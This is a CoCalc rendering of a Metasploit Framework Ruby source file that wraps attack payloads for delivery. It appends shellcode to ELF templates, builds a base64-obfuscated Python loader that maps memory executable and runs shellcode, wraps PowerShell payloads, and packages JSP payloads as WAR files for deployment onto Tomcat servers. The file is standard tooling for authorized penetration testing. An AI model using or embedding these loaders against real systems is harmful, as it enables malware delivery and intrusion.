Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe/common.rb
36037 views
1
module Msf::Util::EXE::Common
2
require 'rex'
3
require 'rex/peparsey'
4
require 'rex/pescan'
5
require 'rex/random_identifier'
6
require 'rex/zip'
7
require 'rex/powershell'
8
require 'metasm'
9
require 'digest/sha1'
10
11
def self.included(base)
12
base.extend(ClassMethods)
13
end
14
15
module ClassMethods
16
# Generates a ZIP file.
17
#
18
# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:
19
# * :data - The content of the file.
20
# * :fname - The file path in the ZIP file
21
# * :comment - A comment
22
# @example Compressing two files, one in a folder called 'test'
23
# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])
24
# @return [String]
25
def to_zip(files)
26
zip = Rex::Zip::Archive.new
27
28
files.each do |f|
29
data = f[:data]
30
fname = f[:fname]
31
comment = f[:comment] || ''
32
zip.add_file(fname, data, comment)
33
end
34
35
zip.pack
36
end
37
38
# Generates a default template
39
#
40
# @param opts [Hash] The options hash
41
# @option opts [String] :template, the template type for the executable
42
# @option opts [String] :template_path, the path for the template
43
# @option opts [Bool] :fallback, If there are no options set, default options will be used
44
# @param exe [String] Template type. If undefined, will use the default.
45
# @param path [String] Where you would like the template to be saved.
46
def set_template_default(opts, exe = nil, path = nil)
47
# If no path specified, use the default one
48
path ||= File.join(Msf::Config.data_directory, "templates")
49
50
# If there's no default name, we must blow it up.
51
unless exe
52
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
53
'without default exe name!'
54
end
55
56
# Use defaults only if nothing is specified
57
opts[:template_path] ||= path
58
opts[:template] ||= exe
59
60
# Only use the path when the filename contains no separators.
61
unless opts[:template].include?(File::SEPARATOR)
62
opts[:template] = File.join(opts[:template_path], opts[:template])
63
end
64
65
# Check if it exists now
66
return if File.file?(opts[:template])
67
# If it failed, try the default...
68
if opts[:fallback]
69
default_template = File.join(path, exe)
70
if File.file?(default_template)
71
# Perhaps we should warn about falling back to the default?
72
opts.merge!({ :fellback => default_template })
73
opts[:template] = default_template
74
end
75
end
76
end
77
78
# read_replace_script_template
79
#
80
# @param filename [String] Name of the file
81
# @param hash_sub [Hash]
82
def read_replace_script_template(filename, hash_sub)
83
template_pathname = File.join(Msf::Config.data_directory, "templates",
84
"scripts", filename)
85
template = ''
86
File.open(template_pathname, "rb") {|f| template = f.read}
87
template % hash_sub
88
end
89
90
# get_file_contents
91
#
92
# @param perms [String]
93
# @param file [String]
94
# @return [String]
95
def get_file_contents(file, perms = "rb")
96
contents = ''
97
File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
98
contents
99
end
100
101
# find_payload_tag
102
#
103
# @param mo [String]
104
# @param err_msg [String]
105
# @raise [RuntimeError] if the "PAYLOAD:" is not found
106
# @return [Integer]
107
def find_payload_tag(mo, err_msg)
108
bo = mo.index('PAYLOAD:')
109
unless bo
110
raise RuntimeError, err_msg
111
end
112
bo
113
end
114
115
def elf?(code)
116
code[0..3] == "\x7FELF"
117
end
118
119
def macho?(code)
120
code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
121
end
122
123
# Create an ELF executable containing the payload provided in +code+
124
#
125
# For the default template, this method just appends the payload, checks if
126
# the template is 32 or 64 bit and adjusts the offsets accordingly
127
# For user-provided templates, modifies the header to mark all executable
128
# segments as writable and overwrites the entrypoint (usually _start) with
129
# the payload.
130
# @param framework [Msf::Framework] The framework of you want to use
131
# @param opts [Hash]
132
# @option [String] :template
133
# @param template [String]
134
# @param code [String]
135
# @param big_endian [Boolean] Set to "false" by default
136
# @return [String]
137
def to_exe_elf(framework, opts, template, code, big_endian=false)
138
if elf? code
139
return code
140
end
141
142
# Allow the user to specify their own template
143
set_template_default(opts, template)
144
145
# The old way to do it is like other formats, just overwrite a big
146
# block of rwx mem with our shellcode.
147
#bo = elf.index( "\x90\x90\x90\x90" * 1024 )
148
#co = elf.index( " " * 512 )
149
#elf[bo, 2048] = [code].pack('a2048') if bo
150
151
# The new template is just an ELF header with its entry point set to
152
# the end of the file, so just append shellcode to it and fixup
153
# p_filesz and p_memsz in the header for a working ELF executable.
154
elf = get_file_contents(opts[:template])
155
elf << code
156
157
# Check EI_CLASS to determine if the header is 32 or 64 bit
158
# Use the proper offsets and pack size
159
case elf[4,1].unpack("C").first
160
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
161
if big_endian
162
elf[0x44,4] = [elf.length].pack('N') #p_filesz
163
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
164
else # little endian
165
elf[0x44,4] = [elf.length].pack('V') #p_filesz
166
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
167
end
168
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
169
if big_endian
170
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
171
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
172
else # little endian
173
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
174
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
175
end
176
else
177
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
178
end
179
180
elf
181
end
182
183
def to_python_reflection(framework, arch, code, exeopts)
184
unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
185
raise "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
186
end
187
188
python_code = <<~PYTHON
189
#{Rex::Text.to_python(code)}
190
import ctypes,os
191
if os.name == 'nt':
192
cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
193
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
194
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
195
ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
196
ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
197
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
198
else:
199
import mmap
200
from ctypes.util import find_library
201
c = ctypes.CDLL(find_library('c'))
202
c.mmap.restype = ctypes.c_void_p
203
ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
204
ctypes.memmove(ptr,buf,len(buf))
205
c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
206
c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
207
ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
208
PYTHON
209
210
"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
211
end
212
213
def to_win32pe_psh_msil(framework, code, opts = {})
214
Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)
215
end
216
217
def to_win32pe_psh_rc4(framework, code, opts = {})
218
# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm
219
# this method should be called after other to_win32pe_psh_* methods to wrap the output
220
Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)
221
end
222
223
# Creates a Web Archive (WAR) file from the provided jsp code.
224
#
225
# On Tomcat, WAR files will be deployed into a directory with the same name
226
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
227
# server is in a default configuration, deoployment will happen
228
# automatically. See
229
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
230
# documentation} for a description of how this works.
231
#
232
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
233
# in the archive. This will be compiled by the victim servlet container
234
# (e.g., Tomcat) and act as the main function for the servlet.
235
# @param opts [Hash]
236
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
237
# _without the .jsp extension_. Defaults to random.
238
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
239
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
240
# random.
241
# @option opts :extra_files [Array<String,String>] Additional files to add
242
# to the archive. First element is filename, second is data
243
#
244
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
245
#
246
# @return [String]
247
def to_war(jsp_raw, opts = {})
248
jsp_name = opts[:jsp_name]
249
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))
250
app_name = opts[:app_name]
251
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))
252
253
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
254
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
255
web_xml = %q{<?xml version="1.0"?>
256
<!DOCTYPE web-app PUBLIC
257
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
258
"http://java.sun.com/dtd/web-app_2_3.dtd">
259
<web-app>
260
<servlet>
261
<servlet-name>NAME</servlet-name>
262
<jsp-file>/PAYLOAD.jsp</jsp-file>
263
</servlet>
264
</web-app>
265
}
266
web_xml.gsub!('NAME', app_name)
267
web_xml.gsub!('PAYLOAD', jsp_name)
268
269
zip = Rex::Zip::Archive.new
270
zip.add_file('META-INF/', '', meta_inf)
271
zip.add_file('META-INF/MANIFEST.MF', manifest)
272
zip.add_file('WEB-INF/', '')
273
zip.add_file('WEB-INF/web.xml', web_xml)
274
# add the payload
275
zip.add_file("#{jsp_name}.jsp", jsp_raw)
276
277
# add extra files
278
if opts[:extra_files]
279
opts[:extra_files].each { |el| zip.add_file(el[0], el[1]) }
280
end
281
282
zip.pack
283
end
284
end
285
286
class << self
287
include ClassMethods
288
end
289
end
290
291